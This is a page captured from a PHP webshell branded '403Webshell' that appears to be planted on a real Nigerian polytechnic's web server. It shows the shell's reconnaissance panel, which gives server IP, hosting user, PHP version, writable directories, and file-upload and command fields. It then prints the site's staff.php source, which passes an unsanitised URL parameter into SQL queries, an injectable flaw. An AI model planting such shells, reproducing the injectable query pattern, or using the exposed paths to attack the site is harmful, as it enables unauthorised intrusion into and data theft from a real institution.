403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.241.66
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/FpE_cess/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/FpE_cess/staff.php
<?php  
//Check for sessions and allow session data retreival and use
if(!isset($_SESSION)) {
session_start();
}

include_once('fnect.php');// connect db
//require_once('errors.php'); // get errors
//require_once('success.php'); // return success messages

$act = $_GET['fpe'];
$cact = explode("-",$act); //split string to array, the first array is staffid and second is to track page
	
$profile = "SELECT Title, StaffNo, Surname, OtherNames, Post, Qualification, Grade FROM Staff_Basic_Profile where StaffNo = '$cact[0]'";
$fpedb = mysqli_query( $fpecon, $profile) or die(mysqli_errno()); // Remember to work out the error page for names on db
while ($row = mysqli_fetch_array($fpedb))
	{
		$staffid = stripslashes($row["StaffNo"]);
		$staffpost = stripslashes($row['Post']);
		$stafftitle = stripslashes($row['Title']);
		$staffsur = stripslashes($row['Surname']);
		$staffon = stripslashes($row['OtherNames']);
		$staffqua = stripslashes($row['Qualification']);
		$stafflevel = stripslashes($row['Grade']);
	}
	$oname = explode(" ",$staffon);
		if(!$oname[1])	$initial = "";
		else $initial = $oname[1][0];
	$raypost = explode(" ",$staffpost);
	
/********** Attend to Image Issues *************/
$pflimg = "SELECT Filename, Location FROM staff_profile_images where StaffNo = '$staffid'";
$imgdb = mysqli_query( $fpecon, $pflimg) or die(mysqli_errno());
while ($row = mysqli_fetch_array($imgdb))
	{
		$emag = stripslashes($row['Location']);
		$fmag = stripslashes($row['Filename']);
	}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit